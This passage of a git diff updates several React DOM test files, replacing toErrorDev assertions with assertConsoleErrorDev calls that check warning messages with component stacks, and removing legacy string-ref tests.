-        '\n    in RefComponent (at **)' +
-        '\n    in Component (at **)',
-    );
-  });
-
-  // Disabling this until #28732 lands so we can assert on the warning message.
-  // (It's already disabled in all but the Meta builds, anyway. Nbd.)
-  // @gate TODO || !__DEV__
-  // @gate !disableStringRefs
-  it('should warn when owner and self are the same for string refs', async () => {
-    class RefComponent extends React.Component {
-      render() {
-        return null;
-      }
-    }
-    class Component extends React.Component {
-      render() {
-        return React.createElement(RefComponent, {
-          ref: 'refComponent',
-          __self: this,
-        });
-      }
-    }
-
-    ReactNoop.render(<Component />);
-    await expect(async () => await waitForAll([])).toErrorDev([
-      'Component "Component" contains the string ref "refComponent". Support for string refs will be removed in a future major release.',
-    ]);
-    await waitForAll([]);
-  });
-
-  // Disabling this until #28732 lands so we can assert on the warning message.
-  // (It's already disabled in all but the Meta builds, anyway. Nbd.)
-  // @gate TODO || !__DEV__
-  // @gate !disableStringRefs
-  it('should warn when owner and self are different for string refs (createElement)', async () => {
-    class RefComponent extends React.Component {
-      render() {
-        return null;
-      }
-    }
-    class Component extends React.Component {
-      render() {
-        return React.createElement(RefComponent, {
-          ref: 'refComponent',
-          __self: {},
-        });
-      }
-    }
-
-    ReactNoop.render(<Component />);
-    await expect(async () => await waitForAll([])).toErrorDev([
-      'Component "Component" contains the string ref "refComponent". ' +
-        'Support for string refs will be removed in a future major release. ' +
-        'This case cannot be automatically converted to an arrow function. ' +
-        'We ask you to manually fix this case by using useRef() or createRef() instead. ' +
-        'Learn more about using refs safely here: ' +
-        'https://react.dev/link/strict-mode-string-ref',
-    ]);
-  });
-
-  // @gate __DEV__
-  // @gate !disableStringRefs
-  it('should warn when owner and self are different for string refs (jsx)', async () => {
-    class RefComponent extends React.Component {
-      render() {
-        return null;
-      }
-    }
-    class Component extends React.Component {
-      render() {
-        return JSXDEVRuntime.jsxDEV(
-          RefComponent,
-          {ref: 'refComponent'},
-          null,
-          false,
-          {},
-          {},
-        );
-      }
-    }
-
-    ReactNoop.render(<Component />);
-    await expect(async () => await waitForAll([])).toErrorDev([
-      'Component "Component" contains the string ref "refComponent". ' +
-        'Support for string refs will be removed in a future major release. ' +
-        'This case cannot be automatically converted to an arrow function. ' +
-        'We ask you to manually fix this case by using useRef() or createRef() instead. ' +
-        'Learn more about using refs safely here: ' +
-        'https://react.dev/link/strict-mode-string-ref',
-    ]);
-  });
-});
diff --git a/packages/react-dom/src/__tests__/ReactEmptyComponent-test.js b/packages/react-dom/src/__tests__/ReactEmptyComponent-test.js
index c985d0e048dd..17367d649118 100644
--- a/packages/react-dom/src/__tests__/ReactEmptyComponent-test.js
+++ b/packages/react-dom/src/__tests__/ReactEmptyComponent-test.js
@@ -17,6 +17,7 @@ let TogglingComponent;
 let act;
 let Scheduler;
 let assertLog;
+let assertConsoleErrorDev;
 
 let container;
 
@@ -34,6 +35,7 @@ describe('ReactEmptyComponent', () => {
     const InternalTestUtils = require('internal-test-utils');
     act = InternalTestUtils.act;
     assertLog = InternalTestUtils.assertLog;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
 
     container = document.createElement('div');
 
@@ -175,6 +177,17 @@ describe('ReactEmptyComponent', () => {
         });
       }).not.toThrow();
 
+      expect(container.innerHTML).toBe('<script></script>');
+      if (gate('enableTrustedTypesIntegration')) {
+        assertConsoleErrorDev([
+          'Encountered a script tag while rendering React component. ' +
+            'Scripts inside React components are never executed when rendering on the client. ' +
+            'Consider using template tag instead (https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).\n' +
+            '     in script (at **)\n' +
+            '     in TogglingComponent (at **)',
+        ]);
+      }
+
       const container2 = document.createElement('div');
       const root2 = ReactDOMClient.createRoot(container2);
       expect(() => {
@@ -189,6 +202,7 @@ describe('ReactEmptyComponent', () => {
         'mount SCRIPT',
         'update undefined',
       ]);
+      expect(container2.innerHTML).toBe('');
     });
 
     it(
diff --git a/packages/react-dom/src/__tests__/ReactErrorBoundaries-test.internal.js b/packages/react-dom/src/__tests__/ReactErrorBoundaries-test.internal.js
index f45069e91539..28b85d359791 100644
--- a/packages/react-dom/src/__tests__/ReactErrorBoundaries-test.internal.js
+++ b/packages/react-dom/src/__tests__/ReactErrorBoundaries-test.internal.js
@@ -36,6 +36,7 @@ describe('ReactErrorBoundaries', () => {
   let RetryErrorBoundary;
   let Normal;
   let assertLog;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     jest.useFakeTimers();
@@ -47,8 +48,7 @@ describe('ReactErrorBoundaries', () => {
     act = require('internal-test-utils').act;
     Scheduler = require('scheduler');
 
-    const InternalTestUtils = require('internal-test-utils');
-    assertLog = InternalTestUtils.assertLog;
+    ({assertLog, assertConsoleErrorDev} = require('internal-test-utils'));
 
     BrokenConstructor = class extends React.Component {
       constructor(props) {
@@ -895,6 +895,11 @@ describe('ReactErrorBoundaries', () => {
         </ErrorBoundary>,
       );
     });
+    assertConsoleErrorDev([
+      'BrokenComponentWillMountWithContext uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in BrokenComponentWillMountWithContext (at **)',
+    ]);
     expect(container.firstChild.textContent).toBe('Caught an error: Hello.');
   });
 
@@ -2363,44 +2368,30 @@ describe('ReactErrorBoundaries', () => {
   it('discards a bad root if the root component fails', async () => {
     const X = null;
     const Y = undefined;
-    let err1;
-    let err2;
 
-    try {
+    await expect(async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(
-        async () =>
-          await act(async () => {
-            root.render(<X />, container);
-          }),
-      ).toErrorDev(
-        'React.createElement: type is invalid -- expected a string ' +
-          '(for built-in components) or a class/function ' +
-          '(for composite components) but got: null.',
-      );
-    } catch (err) {
-      err1 = err;
-    }
-    try {
+      await act(async () => {
+        root.render(<X />);
+      });
+    }).rejects.toThrow(
+      'Element type is invalid: ' +
+        'expected a string (for built-in components) or a ' +
+        'class/function (for composite components) but got: null.',
+    );
+
+    await expect(async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(
-        async () =>
-          await act(async () => {
-            root.render(<Y />, container);
-          }),
-      ).toErrorDev(
-        'React.createElement: type is invalid -- expected a string ' +
-          '(for built-in components) or a class/function ' +
-          '(for composite components) but got: undefined.',
-      );
-    } catch (err) {
-      err2 = err;
-    }
-
-    expect(err1.message).toMatch(/got: null/);
-    expect(err2.message).toMatch(/got: undefined/);
+      await act(async () => {
+        root.render(<Y />);
+      });
+    }).rejects.toThrow(
+      'Element type is invalid: ' +
+        'expected a string (for built-in components) or a ' +
+        'class/function (for composite components) but got: undefined.',
+    );
   });
 
   it('renders empty output if error boundary does not handle the error', async () => {
@@ -2567,18 +2558,18 @@ describe('ReactErrorBoundaries', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(async () => {
-        root.render(
-          <InvalidErrorBoundary>
-            <Throws />
-          </InvalidErrorBoundary>,
-        );
-      });
-    }).toErrorDev(
+    await act(async () => {
+      root.render(
+        <InvalidErrorBoundary>
+          <Throws />
+        </InvalidErrorBoundary>,
+      );
+    });
+    assertConsoleErrorDev([
       'InvalidErrorBoundary: Error boundaries should implement getDerivedStateFromError(). ' +
-        'In that method, return a state update to display an error message or fallback UI.',
-    );
+        'In that method, return a state update to display an error message or fallback UI.\n' +
+        '    in InvalidErrorBoundary (at **)',
+    ]);
     expect(container.textContent).toBe('');
   });
 
diff --git a/packages/react-dom/src/__tests__/ReactFunctionComponent-test.js b/packages/react-dom/src/__tests__/ReactFunctionComponent-test.js
index d3b8926ecd3e..80f9779fdd17 100644
--- a/packages/react-dom/src/__tests__/ReactFunctionComponent-test.js
+++ b/packages/react-dom/src/__tests__/ReactFunctionComponent-test.js
@@ -13,6 +13,7 @@ let PropTypes;
 let React;
 let ReactDOMClient;
 let act;
+let assertConsoleErrorDev;
 
 function FunctionComponent(props) {
   return <div>{props.name}</div>;
@@ -24,7 +25,7 @@ describe('ReactFunctionComponent', () => {
     PropTypes = require('prop-types');
     React = require('react');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   it('should render stateless component', async () => {
@@ -109,6 +110,16 @@ describe('ReactFunctionComponent', () => {
       root.render(<GrandParent test="test" />);
     });
 
+    assertConsoleErrorDev([
+      'GrandParent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in GrandParent (at **)',
+      'Child uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)\n' +
+        '    in GrandParent (at **)',
+    ]);
+
     expect(el.textContent).toBe('test');
 
     await act(() => {
@@ -126,15 +137,15 @@ describe('ReactFunctionComponent', () => {
 
     const container = document.createElement('div');
 
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<FunctionComponentWithChildContext />);
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<FunctionComponentWithChildContext />);
+    });
+    assertConsoleErrorDev([
       'FunctionComponentWithChildContext: Function ' +
-        'components do not support getDerivedStateFromProps.',
-    );
+        'components do not support getDerivedStateFromProps.\n' +
+        '    in FunctionComponentWithChildContext (at **)',
+    ]);
   });
 
   it('should warn for childContextTypes on a function component', async () => {
@@ -148,14 +159,16 @@ describe('ReactFunctionComponent', () => {
 
     const container = document.createElement('div');
 
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<FunctionComponentWithChildContext name="A" />);
-      });
-    }).toErrorDev(
-      'childContextTypes cannot ' + 'be defined on a function component.',
-    );
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<FunctionComponentWithChildContext name="A" />);
+    });
+    assertConsoleErrorDev([
+      'childContextTypes cannot ' +
+        'be defined on a function component.\n' +
+        '  FunctionComponentWithChildContext.childContextTypes = ...\n' +
+        '    in FunctionComponentWithChildContext (at **)',
+    ]);
   });
 
   it('should not throw when stateless component returns undefined', async () => {
@@ -173,279 +186,26 @@ describe('ReactFunctionComponent', () => {
     ).resolves.not.toThrowError();
   });
 
-  // @gate !disableStringRefs
-  it('should throw on string refs in pure functions', async () => {
+  it('should use correct name in key warning', async () => {
     function Child() {
-      return <div ref="me" />;
-    }
-
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(
-      act(() => {
-        root.render(<Child test="test" />);
-      }),
-    )
-      // TODO: This throws an AggregateError. Need to update test infra to
-      // support matching against AggregateError.
-      .rejects.toThrowError();
-  });
-
-  // @gate !enableRefAsProp || !__DEV__
-  it('should warn when given a string ref', async () => {
-    function Indirection(props) {
-      return <div>{props.children}</div>;
-    }
-
-    class ParentUsingStringRef extends React.Component {
-      render() {
-        return (
-          <Indirection>
-            <FunctionComponent name="A" ref="stateless" />
-          </Indirection>
-        );
-      }
-    }
-
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<ParentUsingStringRef />);
-      });
-    }).toErrorDev(
-      'Function components cannot be given refs. ' +
-        'Attempts to access this ref will fail. ' +
-        'Did you mean to use React.forwardRef()?\n\n' +
-        'Check the render method ' +
-        'of `ParentUsingStringRef`.\n' +
-        '    in FunctionComponent (at **)\n' +
-        '    in div (at **)\n' +
-        '    in Indirection (at **)\n' +
-        '    in ParentUsingStringRef (at **)',
-    );
-
-    // No additional warnings should be logged
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await act(() => {
-      root.render(<ParentUsingStringRef />);
-    });
-  });
-
-  // @gate !enableRefAsProp || !__DEV__
-  it('should warn when given a function ref', async () => {
-    function Indirection(props) {
-      return <div>{props.children}</div>;
-    }
-
-    const ref = jest.fn();
-    class ParentUsingFunctionRef extends React.Component {
-      render() {
-        return (
-          <Indirection>
-            <FunctionComponent name="A" ref={ref} />
-          </Indirection>
-        );
-      }
+      return <div>{[<span />]}</div>;
     }
 
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<ParentUsingFunctionRef />);
-      });
-    }).toErrorDev(
-      'Function components cannot be given refs. ' +
-        'Attempts to access this ref will fail. ' +
-        'Did you mean to use React.forwardRef()?\n\n' +
-        'Check the render method ' +
-        'of `ParentUsingFunctionRef`.\n' +
-        '    in FunctionComponent (at **)\n' +
-        '    in div (at **)\n' +
-        '    in Indirection (at **)\n' +
-        '    in ParentUsingFunctionRef (at **)',
-    );
-    expect(ref).not.toHaveBeenCalled();
-
-    // No additional warnings should be logged
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
     await act(() => {
-      root.render(<ParentUsingFunctionRef />);
-    });
-  });
-
-  // @gate !enableRefAsProp || !__DEV__
-  it('deduplicates ref warnings based on element or owner', async () => {
-    // When owner uses JSX, we can use exact line location to dedupe warnings
-    class AnonymousParentUsingJSX extends React.Component {
-      render() {
-        return <FunctionComponent name="A" ref={() => {}} />;
-      }
-    }
-
-    let instance1;
-
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-
-      await act(() => {
-        root.render(
-          <AnonymousParentUsingJSX ref={current => (instance1 = current)} />,
-        );
-      });
-    }).toErrorDev('Function components cannot be given refs.');
-    // Should be deduped (offending element is on the same line):
-    instance1.forceUpdate();
-    // Should also be deduped (offending element is on the same line):
-    let container = document.createElement('div');
-    let root = ReactDOMClient.createRoot(container);
-    await act(() => {
-      root.render(<AnonymousParentUsingJSX />);
+      root.render(<Child />);
     });
-
-    // When owner doesn't use JSX, and is anonymous, we warn once per internal instance.
-    class AnonymousParentNotUsingJSX extends React.Component {
-      render() {
-        return React.createElement(FunctionComponent, {
-          name: 'A',
-          ref: () => {},
-        });
-      }
-    }
-
-    let instance2;
-    await expect(async () => {
-      container = document.createElement('div');
-      root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(
-          <AnonymousParentNotUsingJSX ref={current => (instance2 = current)} />,
-        );
-      });
-    }).toErrorDev('Function components cannot be given refs.');
-    // Should be deduped (same internal instance, no additional warnings)
-    instance2.forceUpdate();
-    // Could not be differentiated (since owner is anonymous and no source location)
-    container = document.createElement('div');
-    root = ReactDOMClient.createRoot(container);
-    await act(() => {
-      root.render(<AnonymousParentNotUsingJSX />);
-    });
-
-    // When owner doesn't use JSX, but is named, we warn once per owner name
-    class NamedParentNotUsingJSX extends React.Component {
-      render() {
-        return React.createElement(FunctionComponent, {
-          name: 'A',
-          ref: () => {},
-        });
-      }
-    }
-    let instance3;
-    await expect(async () => {
-      container = document.createElement('div');
-      root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(
-          <NamedParentNotUsingJSX ref={current => (instance3 = current)} />,
-        );
-      });
-    }).toErrorDev('Function components cannot be given refs.');
-    // Should be deduped (same owner name, no additional warnings):
-    instance3.forceUpdate();
-    // Should also be deduped (same owner name, no additional warnings):
-    container = document.createElement('div');
-    root = ReactDOMClient.createRoot(container);
-    await act(() => {
-      root.render(<NamedParentNotUsingJSX />);
-    });
-  });
-
-  // This guards against a regression caused by clearing the current debug fiber.
-  // https://github.com/facebook/react/issues/10831
-  // @gate !disableLegacyContext || !__DEV__
-  // @gate !enableRefAsProp || !__DEV__
-  it('should warn when giving a function ref with context', async () => {
-    function Child() {
-      return null;
-    }
-    Child.contextTypes = {
-      foo: PropTypes.string,
-    };
-
-    class Parent extends React.Component {
-      static childContextTypes = {
-        foo: PropTypes.string,
-      };
-      getChildContext() {
-        return {
-          foo: 'bar',
-        };
-      }
-      render() {
-        return <Child ref={function () {}} />;
-      }
-    }
-
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<Parent />);
-      });
-    }).toErrorDev(
-      'Function components cannot be given refs. ' +
-        'Attempts to access this ref will fail. ' +
-        'Did you mean to use React.forwardRef()?\n\n' +
-        'Check the render method ' +
-        'of `Parent`.\n' +
-        '    in Child (at **)\n' +
-        '    in Parent (at **)',
-    );
-  });
-
-  it('should use correct name in key warning', async () => {
-    function Child() {
-      return <div>{[<span />]}</div>;
-    }
-
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<Child />);
-      });
-    }).toErrorDev(
-      'Each child in a list should have a unique "key" prop.\n\n' +
-        'Check the render method of `Child`.',
-    );
-  });
-
-  // @gate !disableDefaultPropsExceptForClasses
-  it('should support default props', async () => {
-    function Child(props) {
-      return <div>{props.test}</div>;
-    }
-    Child.defaultProps = {test: 2};
-
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-
-      await act(() => {
-        root.render(<Child />);
-      });
-      expect(container.textContent).toBe('2');
-    }).toErrorDev([
-      'Child: Support for defaultProps will be removed from function components in a future major release. Use JavaScript default parameters instead.',
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n' +
+        '\n' +
+        'Check the render method of `Child`. See https://react.dev/link/warning-keys for more information.\n' +
+        '    in span (at **)\n' +
+        '    in Child (at **)',
     ]);
   });
 
-  // @gate !disableLegacyContext
+  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents
   it('should receive context', async () => {
     class Parent extends React.Component {
       static childContextTypes = {
@@ -472,6 +232,14 @@ describe('ReactFunctionComponent', () => {
     await act(() => {
       root.render(<Parent />);
     });
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Child uses the legacy contextTypes API which will be removed soon. ' +
+        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+    ]);
     expect(el.textContent).toBe('en');
   });
 
diff --git a/packages/react-dom/src/__tests__/ReactIdentity-test.js b/packages/react-dom/src/__tests__/ReactIdentity-test.js
index 293916261cfc..8373d52ddfe6 100644
--- a/packages/react-dom/src/__tests__/ReactIdentity-test.js
+++ b/packages/react-dom/src/__tests__/ReactIdentity-test.js
@@ -12,6 +12,7 @@
 let React;
 let ReactDOMClient;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactIdentity', () => {
   beforeEach(() => {
@@ -19,6 +20,8 @@ describe('ReactIdentity', () => {
     React = require('react');
     ReactDOMClient = require('react-dom/client');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
   });
 
   it('should allow key property to express identity', async () => {
@@ -313,18 +316,16 @@ describe('ReactIdentity', () => {
 
     const el = document.createElement('div');
     const root = ReactDOMClient.createRoot(el);
-    await expect(() =>
-      expect(() => {
-        root.render(
-          <div>
-            <span key={new TemporalLike()} />
-          </div>,
-        );
-      }).toThrowError(new TypeError('prod message')),
-    ).toErrorDev(
+    await expect(() => {
+      root.render(
+        <div>
+          <span key={new TemporalLike()} />
+        </div>,
+      );
+    }).toThrowError(new TypeError('prod message'));
+    assertConsoleErrorDev([
       'The provided key is an unsupported type TemporalLike.' +
         ' This value must be coerced to a string before using it here.',
-      {withoutStack: true},
-    );
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactLegacyCompositeComponent-test.js b/packages/react-dom/src/__tests__/ReactLegacyCompositeComponent-test.js
index eaf49b7527e3..1b0776f62655 100644
--- a/packages/react-dom/src/__tests__/ReactLegacyCompositeComponent-test.js
+++ b/packages/react-dom/src/__tests__/ReactLegacyCompositeComponent-test.js
@@ -14,7 +14,9 @@ let ReactDOM;
 let findDOMNode;
 let ReactDOMClient;
 let PropTypes;
+
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactLegacyCompositeComponent', () => {
   beforeEach(() => {
@@ -26,7 +28,7 @@ describe('ReactLegacyCompositeComponent', () => {
       ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE
         .findDOMNode;
     PropTypes = require('prop-types');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   // @gate !disableLegacyMode
@@ -48,15 +50,12 @@ describe('ReactLegacyCompositeComponent', () => {
         return <div />;
       }
     }
-
-    let instance;
-
-    expect(() => {
-      instance = ReactDOM.render(<Component />, container);
-    }).toErrorDev(
+    const instance = ReactDOM.render(<Component />, container);
+    assertConsoleErrorDev([
       'Cannot update during an existing state transition (such as within ' +
-        '`render`). Render methods should be a pure function of props and state.',
-    );
+        '`render`). Render methods should be a pure function of props and state.\n' +
+        '    in Component (at **)',
+    ]);
 
     // The setState call is queued and then executed as a second pass. This
     // behavior is undefined though so we're free to change it to suit the
@@ -119,6 +118,14 @@ describe('ReactLegacyCompositeComponent', () => {
     await act(() => {
       root.render(<Parent ref={current => (component = current)} />);
     });
+    assertConsoleErrorDev([
+      'Child uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Grandchild uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+    ]);
     expect(findDOMNode(component).innerHTML).toBe('bar');
   });
 
@@ -183,6 +190,15 @@ describe('ReactLegacyCompositeComponent', () => {
     expect(parentInstance.state.flag).toBe(false);
     expect(childInstance.context).toEqual({foo: 'bar', flag: false});
 
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Child uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Child (at **)',
+    ]);
+
     await act(() => {
       parentInstance.setState({flag: true});
     });
@@ -242,6 +258,15 @@ describe('ReactLegacyCompositeComponent', () => {
       root.render(<Wrapper ref={current => (wrapper = current)} />);
     });
 
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Wrapper (at **)',
+      'Child uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Wrapper (at **)',
+    ]);
+
     expect(wrapper.parentRef.current.state.flag).toEqual(true);
     expect(wrapper.childRef.current.context).toEqual({flag: true});
 
@@ -317,6 +342,22 @@ describe('ReactLegacyCompositeComponent', () => {
       root.render(<Parent />);
     });
 
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Child uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Child uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Grandchild uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Child (at **)\n' +
+        '    in Parent (at **)',
+    ]);
+
     expect(childInstance.context).toEqual({foo: 'bar', depth: 0});
     expect(grandchildInstance.context).toEqual({foo: 'bar', depth: 1});
   });
@@ -369,6 +410,11 @@ describe('ReactLegacyCompositeComponent', () => {
     await act(() => {
       root.render(<Parent ref={current => (parentInstance = current)} />);
     });
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+    ]);
 
     expect(childInstance).toBeNull();
 
@@ -376,6 +422,12 @@ describe('ReactLegacyCompositeComponent', () => {
     await act(() => {
       parentInstance.setState({flag: true});
     });
+    assertConsoleErrorDev([
+      'Child uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+    ]);
+
     expect(parentInstance.state.flag).toBe(true);
 
     expect(childInstance.context).toEqual({foo: 'bar', depth: 0});
@@ -436,6 +488,15 @@ describe('ReactLegacyCompositeComponent', () => {
 
     const div = document.createElement('div');
     ReactDOM.render(<Parent cntxt="noise" />, div);
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Leaf uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Intermediary (at **)\n' +
+        '    in Parent (at **)',
+    ]);
     expect(div.children[0].innerHTML).toBe('noise');
     div.children[0].innerHTML = 'aliens';
     div.children[0].id = 'aliens';
@@ -551,6 +612,17 @@ describe('ReactLegacyCompositeComponent', () => {
       </Parent>,
       div,
     );
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'GrandChild uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in GrandChild (at **)',
+      'ChildWithContext uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ChildWithContext (at **)',
+    ]);
 
     parentInstance.setState({
       foo: 'def',
@@ -739,6 +811,14 @@ describe('ReactLegacyCompositeComponent', () => {
       </Parent>,
       div,
     );
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Parent (at **)',
+      'Component uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('should replace state in legacy mode', async () => {
diff --git a/packages/react-dom/src/__tests__/ReactLegacyContextDisabled-test.internal.js b/packages/react-dom/src/__tests__/ReactLegacyContextDisabled-test.internal.js
index 7c68b275c232..98abd05ff4b5 100644
--- a/packages/react-dom/src/__tests__/ReactLegacyContextDisabled-test.internal.js
+++ b/packages/react-dom/src/__tests__/ReactLegacyContextDisabled-test.internal.js
@@ -14,6 +14,7 @@ let ReactDOMClient;
 let ReactDOMServer;
 let ReactFeatureFlags;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactLegacyContextDisabled', () => {
   beforeEach(() => {
@@ -25,6 +26,8 @@ describe('ReactLegacyContextDisabled', () => {
     ReactFeatureFlags = require('shared/ReactFeatureFlags');
     ReactFeatureFlags.disableLegacyContext = true;
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
   });
 
   function formatValue(val) {
@@ -84,25 +87,27 @@ describe('ReactLegacyContextDisabled', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <LegacyProvider>
-            <span>
-              <LegacyClsConsumer />
-              <LegacyFnConsumer />
-              <RegularFn />
-            </span>
-          </LegacyProvider>,
-        );
-      });
-    }).toErrorDev([
+    await act(() => {
+      root.render(
+        <LegacyProvider>
+          <span>
+            <LegacyClsConsumer />
+            <LegacyFnConsumer />
+            <RegularFn />
+          </span>
+        </LegacyProvider>,
+      );
+    });
+    assertConsoleErrorDev([
       'LegacyProvider uses the legacy childContextTypes API which was removed in React 19. ' +
-        'Use React.createContext() instead.',
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in LegacyProvider (at **)',
       'LegacyClsConsumer uses the legacy contextTypes API which was removed in React 19. ' +
-        'Use React.createContext() with static contextType instead.',
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in LegacyClsConsumer (at **)',
       'LegacyFnConsumer uses the legacy contextTypes API which was removed in React 19. ' +
-        'Use React.createContext() with React.useContext() instead.',
+        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in LegacyFnConsumer (at **)',
     ]);
     expect(container.textContent).toBe('{}undefinedundefined');
     expect(lifecycleContextLog).toEqual([]);
@@ -124,25 +129,26 @@ describe('ReactLegacyContextDisabled', () => {
     root.unmount();
 
     // test server path.
-    let text;
-    expect(() => {
-      text = ReactDOMServer.renderToString(
-        <LegacyProvider>
-          <span>
-            <LegacyClsConsumer />
-            <LegacyFnConsumer />
-            <RegularFn />
-          </span>
-        </LegacyProvider>,
-        container,
-      );
-    }).toErrorDev([
+    const text = ReactDOMServer.renderToString(
+      <LegacyProvider>
+        <span>
+          <LegacyClsConsumer />
+          <LegacyFnConsumer />
+          <RegularFn />
+        </span>
+      </LegacyProvider>,
+      container,
+    );
+    assertConsoleErrorDev([
       'LegacyProvider uses the legacy childContextTypes API which was removed in React 19. ' +
-        'Use React.createContext() instead.',
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in LegacyProvider (at **)',
       'LegacyClsConsumer uses the legacy contextTypes API which was removed in React 19. ' +
-        'Use React.createContext() with static contextType instead.',
